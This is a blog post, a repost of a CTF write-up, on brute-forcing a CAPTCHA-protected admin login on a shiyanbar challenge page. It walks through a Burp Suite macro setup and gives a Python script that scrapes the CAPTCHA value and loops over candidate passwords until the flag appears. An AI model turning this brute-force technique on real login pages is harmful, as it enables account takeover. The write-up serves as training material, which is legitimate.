经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 其他 » 网络安全 » 查看文章
记一次渗透测试(1)
来源:cnblogs  作者:李逍遥123  时间:2018/9/25 20:03:00  对本文有异议

一.http://ctf3.shiyanbar.com/just/index.php

 

 

 

1.用火狐浏览器打开页面:

 

(注:linux的截图按键可以直接用alt+PrintScreen截取当前的活动窗口,按shift+PrintScreen可以选定区域截图,截图会自动保存在图片目录下)

 

2. 观察该页面,查看网页源码发现提示。

 

3.进入该页面:http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php

发现登陆框,并且带有验证码。

 

4. 用户名锁定为admin,尝试弱口令admin123456password等均无法进入。

而且发现每次进入后验证码都会变化,并没有一定的规律。目测无法忽视验证码爆破。

这里会返回密码错误,验证码错误的界面。

 

 

 

5. 所以需要对验证码进行获取再利用bp或者脚本进行爆破。这里查看一下网页源代码,看一下验证码的类型。

可以发现验证码的类型是text类型,这样还很好获取,而且发现了提示,密码位于1111112111之间。(可以用python或者任何一门语言,很简单的循环生成数字输出到txt文件中就可以生成一个密码表)

 

第一种方法:

burpsuite设置宏(macro)的方式来进行绕过验证码爆破。

(这里因为kaliburp有些问题,就在windows中操作)

 

(1)首先打开burpsuite,然后点击project options 选择 sessions拉到最下面就会看见Macros

 

 

 

(2) 点击Add,这时候会弹出两个窗口,一个是Macro Recorder,一个是Macro Editor

(3)Macro Recorder中上方显示的是我们的历史浏览记录,我们需要找到我们刚才登的网站,如果没有的话就抓一次包,就会出现。选中点击OK即可。自动回到Macro Editor

4)然后我们选中网页,点击 Configure item 弹出下面的窗口 点击下方的Add 我们给他命名为randcode,然后再下面的文本框中选择验证码的数字,我这里是984.之后再上面的 Starter 以及End会自动填写。

5)点击下方的Add 我们给他命名为randcode,然后再下面的文本框中选择验证码的数字,我这里是984.之后再上面的 Starter 以及End会自动填写。

 

 

(6)点击ok,回到界面继续点击ok,我们就完成了这个Macro的配置。接下来需要让burp自动调用该Macro,并替换请求的randcode的值。切回project options的选项卡,找到Session Handling Rules

(7)点击add然后在下方的Rule Actions点击Add并选择run as a macro

 

 

(8)这里选择 Update only the following parameters 点击Edit 选择我们刚才添加的randcode,然后其他默认点击ok

 

 

(9)之后点击scope进行如下配置

(10)点击ok回到抓包,我们抓取一个包,并发送到intruder 载入密码表开始暴力破解

 

之后就很简单了,我们只要找到返回长度不一样的看一下它的response就可以找到flag了。

(错误的会提示密码错误)

 

 

 

第二种方法(脚本):

因为是刚开始接触python,所以注释写的尽量复杂,代码还不够优化。

 

  1. from bs4 import BeautifulSoup
  2. #pthon3.x版本导入bs包
  3. import requests
  4. #导入request包
  5. s = requests.session()
  6. #获取session
  7.  
  8. for i in range(11111,12111):
  9. url = 'http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php'
  10. response = s.get(url)
  11. html = s.get(url).text
  12. soup = BeautifulSoup(html, "html.parser")
  13. randcode = soup.form.contents[10].split(' ')[1]
  14. i = str(i)
  15. #将i转化为str类型
  16. url = 'http://ctf3.shiyanbar.com/just/9s81jWjd98YU.php?username=admin&password='+i+'&randcode='+randcode
  17. # 将payload 和 randcode带入到拼凑的url中
  18. print(s.get(url).text.encode('ISO-8859-1').decode(response.apparent_encoding))
  19. #输出能正常显示中文的返回页面的文本

 

 

 

 

 

之后开始执行,python的速度真的很快。

我们可以把控制台的输出结果ctrl+a ,然后ctrl+c复制粘贴到文本文档中。

回复的一般都是密码错误,所以没有密码错误的就是我们想要得到的。

可以用word的编辑查找功能。(一个一个看也可以,后来才知道查找flag就可以)

 

11713

------------------------------------

<head>

<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

<title>9s81jWjd98YU</title>

</head>

 

<body>

<br>

<br>

<center><h3>flag{c369af821e667}</h3></center>

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号